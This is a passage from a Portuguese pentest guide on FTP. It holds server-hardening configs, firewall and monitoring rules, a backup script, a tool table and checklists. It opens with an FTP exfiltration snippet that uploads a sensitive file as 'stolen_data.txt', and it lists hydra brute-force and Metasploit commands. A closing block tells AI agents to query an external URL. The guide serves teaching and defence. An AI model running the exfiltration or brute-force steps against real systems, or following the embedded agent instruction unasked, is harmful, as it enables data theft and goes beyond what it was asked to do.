lftp -u username,password 192.168.1.100 << EOF
mirror --reverse --only-newer /local/backup /remote/backup
quit
EOF

# Exfiltração via Python
python3 << EOF
import ftplib
ftp = ftplib.FTP('192.168.1.100')
ftp.login('anonymous', 'user@example.com')
with open('sensitive_data.txt', 'rb') as f:
    ftp.storbinary('STOR stolen_data.txt', f)
ftp.quit()
EOF
```

***

## 🛡️ **Mitigações e Boas Práticas**

### **Configuração Segura de Servidores FTP**

#### **vsftpd (Very Secure FTP Daemon)**

```ini
# /etc/vsftpd.conf - Configuração segura

# Desabilitar login anônimo
anonymous_enable=NO

# Habilitar usuários locais
local_enable=YES

# Permitir escrita apenas para usuários autenticados
write_enable=YES

# Restringir usuários a seus home directories
chroot_local_user=YES
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd.chroot_list

# Limitar comandos perigosos
hide_ids=YES

# Logging detalhado
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
log_ftp_protocol=YES

# Timeouts para prevenir DoS
idle_session_timeout=600
data_connection_timeout=120

# Limitar taxa de transferência
local_max_rate=1048576  # 1 MB/s

# Segurança de conexão
ssl_enable=YES
require_ssl_reuse=NO
ssl_ciphers=HIGH

# TLS/SSL
rsa_cert_file=/etc/ssl/certs/vsftpd.crt
rsa_private_key_file=/etc/ssl/private/vsftpd.key

# Force TLS (desabilitar conexões não criptografadas)
ssl_force_data_ssl=YES
require_ssl_reuse=NO

# Firewall (modo passivo)
pasv_enable=YES
pasv_min_port=30000
pasv_max_port=31000
pasv_address=your.public.ip

# Limitar número de conexões
max_clients=50
max_per_ip=5
```

#### **ProFTPD**

```apache
# /etc/proftpd/proftpd.conf

# Desabilitar anônimo
<Anonymous ~ftp>
    User ftp
    Group ftp
    <Limit LOGIN>
        DenyAll
    </Limit>
</Anonymous>

# TLS/SSL
<IfModule mod_tls.c>
    TLSEngine on
    TLSProtocol TLSv1.2 TLSv1.3
    TLSRSACertificateFile /etc/ssl/certs/proftpd.crt
    TLSRSACertificateKeyFile /etc/ssl/private/proftpd.key
    TLSRequired on
    TLSVerifyClient off
</IfModule>

# Limitar comandos
<Limit SITE_CHMOD>
    DenyAll
</Limit>

# Rate limiting
RateEngine on
RateOptions max-rate 1024k
```

### **Firewall Rules**

```bash
# iptables - Limitar FTP
# Permitir apenas conexões FTP de IPs confiáveis
iptables -A INPUT -p tcp --dport 21 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP

# Limitar taxa de conexões
iptables -A INPUT -p tcp --dport 21 -m conntrack --ctstate NEW -m limit --limit 10/minute -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP

# Portas para modo passivo
iptables -A INPUT -p tcp --dport 30000:31000 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 30000:31000 -j DROP

# Bloquear FTP bounce attack
iptables -A OUTPUT -p tcp --sport 20 -j DROP
```

### **Monitoramento e Logging**

```bash
# Monitorar logs de FTP em tempo real
tail -f /var/log/vsftpd.log | grep -E "FAIL|DENIED|UNAUTHORIZED"

# Configurar fail2ban para FTP
cat > /etc/fail2ban/jail.local << EOF
[vsftpd]
enabled = true
port = ftp,ftp-data
filter = vsftpd
logpath = /var/log/vsftpd.log
maxretry = 3
bantime = 3600
EOF

# Alertas com auditd
auditctl -w /etc/vsftpd.conf -p wa -k ftp_config
auditctl -w /var/ftp/ -p rwxa -k ftp_data
```

***

## 🛠️ **Ferramentas e Automação**

### **Ferramentas CLI Essenciais**

| Ferramenta     | Descrição                   | Exemplo                                       |
| -------------- | --------------------------- | --------------------------------------------- |
| **ftp**        | Cliente FTP padrão          | `ftp 192.168.1.100`                           |
| **lftp**       | Cliente avançado com mirror | `lftp -u user,pass 192.168.1.100`             |
| **ncftp**      | Cliente interativo          | `ncftp -u user 192.168.1.100`                 |
| **curl**       | Transferência via URL       | `curl -u user:pass ftp://server/file`         |
| **wget**       | Download recursivo          | `wget -r ftp://user:pass@server/`             |
| **hydra**      | Força bruta                 | `hydra -L users.txt -P pass.txt ftp://server` |
| **nmap**       | Escaneamento                | `nmap -p 21 --script ftp-* server`            |
| **metasploit** | Exploração                  | `use auxiliary/scanner/ftp/ftp_login`         |

### **Script de Automação de Backup**

```python
#!/usr/bin/env python3
# ftp_backup_automation.py - Backup automático via FTP

import ftplib
import os
import datetime
import logging
import argparse
from pathlib import Path

class FTPBackup:
    def __init__(self, host, username, password, port=21, use_tls=False):
        self.host = host
        self.username = username
        self.password = password
        self.port = port
        self.use_tls = use_tls
        self.ftp = None
        
        # Configurar logging
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('ftp_backup.log'),
                logging.StreamHandler()
            ]
        )
        self.logger = logging.getLogger(__name__)
    
    def connect(self):
        """Conectar ao servidor FTP"""
        try:
            if self.use_tls:
                self.ftp = ftplib.FTP_TLS(self.host, port=self.port)
                self.ftp.auth()
                self.ftp.prot_p()
            else:
                self.ftp = ftplib.FTP(self.host, port=self.port)
            
            self.ftp.login(self.username, self.password)
            self.logger.info(f"✅ Conectado a {self.host}")
            return True
            
        except Exception as e:
            self.logger.error(f"❌ Erro de conexão: {e}")
            return False
    
    def download_directory(self, remote_path, local_path, recursive=True):
        """Baixar diretório recursivamente"""
        local_path = Path(local_path)
        local_path.mkdir(parents=True, exist_ok=True)
        
        try:
            self.ftp.cwd(remote_path)
            items = self.ftp.nlst()
            
            for item in items:
                local_file = local_path / item
                remote_file = f"{remote_path}/{item}" if remote_path != '.' else item
                
                try:
                    # Tentar entrar no diretório
                    self.ftp.cwd(remote_file)
                    if recursive:
                        self.logger.info(f"📁 Entrando em: {remote_file}")
                        self.download_directory(remote_file, local_file, recursive)
                    self.ftp.cwd('..')
                    
                except ftplib.error_perm:
                    # É um arquivo
                    self.logger.info(f"📄 Baixando: {remote_file}")
                    with open(local_file, 'wb') as f:
                        self.ftp.retrbinary(f'RETR {remote_file}', f.write)
            
            return True
            
        except Exception as e:
            self.logger.error(f"❌ Erro baixando {remote_path}: {e}")
            return False
    
    def upload_directory(self, local_path, remote_path, recursive=True):
        """Enviar diretório recursivamente"""
        local_path = Path(local_path)
        
        try:
            # Criar diretório remoto se não existir
            try:
                self.ftp.mkd(remote_path)
            except:
                pass
            
            self.ftp.cwd(remote_path)
            
            for item in local_path.iterdir():
                remote_item = f"{remote_path}/{item.name}" if remote_path != '.' else item.name
                
                if item.is_dir() and recursive:
                    self.logger.info(f"📁 Enviando diretório: {item.name}")
                    self.upload_directory(item, remote_item, recursive)
                elif item.is_file():
                    self.logger.info(f"📄 Enviando: {item.name}")
                    with open(item, 'rb') as f:
                        self.ftp.storbinary(f'STOR {item.name}', f)
            
            self.ftp.cwd('..')
            return True
            
        except Exception as e:
            self.logger.error(f"❌ Erro enviando {local_path}: {e}")
            return False
    
    def sync(self, local_dir, remote_dir, direction='download'):
        """Sincronizar diretórios"""
        timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
        
        if direction == 'download':
            backup_dir = Path(local_dir) / f"backup_{timestamp}"
            self.download_directory(remote_dir, backup_dir)
            self.logger.info(f"✅ Backup concluído em: {backup_dir}")
        
        elif direction == 'upload':
            self.upload_directory(local_dir, remote_dir)
            self.logger.info(f"✅ Upload concluído")
    
    def close(self):
        """Fechar conexão"""
        if self.ftp:
            self.ftp.quit()
            self.logger.info("🔌 Conexão fechada")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='FTP Backup Automation')
    parser.add_argument('host', help='Servidor FTP')
    parser.add_argument('user', help='Usuário')
    parser.add_argument('passwd', help='Senha')
    parser.add_argument('--tls', action='store_true', help='Usar FTPS')
    parser.add_argument('--port', type=int, default=21, help='Porta')
    
    args = parser.parse_args()
    
    backup = FTPBackup(args.host, args.user, args.passwd, args.port, args.tls)
    
    if backup.connect():
        # Exemplo: baixar /public_html para ./backup
        backup.sync('./backup', '/public_html', direction='download')
        backup.close()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração do Servidor**

* [ ] Desabilitar login anônimo
* [ ] Usar FTPS ou SFTP em vez de FTP tradicional
* [ ] Implementar chroot para usuários
* [ ] Configurar rate limiting
* [ ] Limitar comandos perigosos (SITE, CHMOD)
* [ ] Configurar timeouts adequados
* [ ] Usar senhas fortes e políticas de expiração
* [ ] Implementar 2FA se possível

#### **Segurança de Rede**

* [ ] Restringir acesso por IP
* [ ] Usar firewall com regras específicas
* [ ] Configurar modo passivo com range de portas limitado
* [ ] Implementar IDS/IPS para detecção de ataques
* [ ] Monitorar logs regularmente

#### **Backup e Recuperação**

* [ ] Manter backups regulares
* [ ] Testar recuperação de backups
* [ ] Armazenar backups em local seguro

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Escanear portas 21, 990, 2121
* [ ] Coletar banner e identificar versão
* [ ] Verificar suporte a TLS
* [ ] Enumerar usuários (se possível)

#### **Testes de Autenticação**

* [ ] Testar login anônimo
* [ ] Testar credenciais padrão
* [ ] Força bruta controlada
* [ ] Testar bypass de autenticação

#### **Testes de Exploração**

* [ ] Testar directory traversal
* [ ] Testar FTP bounce attack
* [ ] Verificar permissões de escrita
* [ ] Testar injeção de comandos
* [ ] Verificar versões vulneráveis (searchsploit)

#### **Pós-Exploração**

* [ ] Extrair arquivos sensíveis
* [ ] Verificar arquivos de configuração
* [ ] Buscar credenciais em arquivos
* [ ] Estabelecer persistência (se autorizado)

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
FTP é um protocolo legado mas ainda presente:
  
  ✅ Pontos Fortes:
    - Simples de implementar
    - Amplamente suportado
    - Eficiente para grandes arquivos
    - Retomada de transferências
  
  ❌ Pontos Fracos:
    - Credenciais em texto plano
    - Dados não criptografados
    - Complexidade de firewall
    - Vulnerável a diversos ataques
  
  🎯 Recomendações:
    - Migrar para SFTP sempre que possível
    - Usar FTPS com TLS 1.2+
    - Nunca expor FTP público
    - Implementar VPN para acesso externo
```

### **Comparativo de Segurança**

```mermaid
graph LR
    A[FTP Tradicional] -->|❌ Evitar| B[Text Plan, Sniffing]
    C[FTPS] -->|✅ Aceitável| D[TLS, Certificados]
    E[SFTP] -->|✅ Recomendado| F[SSH, Chaves Públicas]
```

### **Futuro do FTP**

```yaml
Tendências:
  
  Declínio:
    - Substituição por SFTP/SCP
    - Bloqueio por firewalls modernos
    - Navegadores removendo suporte
    
  Manutenção:
    - Ambientes corporativos legados
    - Dispositivos embarcados
    - Redes industriais (SCADA)
  
  Alternativas modernas:
    - SFTP (SSH File Transfer)
    - SCP (Secure Copy)
    - Rsync sobre SSH
    - WebDAV sobre HTTPS
    - S3 e object storage
```

***

## 🔐 **Referências e Padrões**

* **RFC 959** - File Transfer Protocol (especificação original)
* **RFC 2228** - FTP Security Extensions (FTPS)
* **RFC 2428** - FTP Extensions for IPv6 and NATs
* **RFC 4217** - Securing FTP with TLS
* **CWE-257** - Storing Passwords in a Recoverable Format
* **OWASP** - FTP Security Cheat Sheet

***

**✅ Este guia completo sobre FTP fornece uma base sólida para entender, implementar e testar a segurança de servidores FTP, com ênfase em práticas seguras e técnicas de pentesting.**

**Próximos passos sugeridos:**

* Implementar servidor FTP seguro com vsftpd
* Configurar FTPS com certificados Let's Encrypt
* Desenvolver script de auditoria automatizada
* Criar laboratório para testes de penetração FTP


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/ftp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
